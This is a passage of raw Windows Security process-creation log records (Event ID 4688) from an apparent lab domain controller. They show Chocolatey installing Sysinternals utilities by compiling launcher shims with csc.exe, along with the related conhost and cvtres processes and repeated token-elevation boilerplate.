Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246422
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb88
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246421
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\CPUSTRES.EXE" --output="C:\ProgramData\chocolatey\bin\CPUSTRES.EXE"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\CPUSTRES.EXE"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246420
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x64c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBEC7.tmp" "c:\ProgramData\chocolatey\bin\CSC39219CB5E64B4BEE8033AF12F48F7B8A.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246419
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x888
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246418
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Coreinfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246417
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246416
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Coreinfo64.exe" --output="C:\ProgramData\chocolatey\bin\Coreinfo64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Coreinfo64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246415
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdfc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBDEC.tmp" "c:\ProgramData\chocolatey\bin\CSC3C475E97503D45A1AE693FBA2B1534F1.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246414
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246413
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Coreinfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246412
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246411
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Coreinfo.exe" --output="C:\ProgramData\chocolatey\bin\Coreinfo.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Coreinfo.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246410
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBD01.tmp" "c:\ProgramData\chocolatey\bin\CSC34CDF897DB7F498F88A2B5FA80A6861B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246409
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246408
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x384
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Contig64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246452
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x6c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246451
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\disk2vhd.exe" --output="C:\ProgramData\chocolatey\bin\disk2vhd.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\disk2vhd.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246450
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
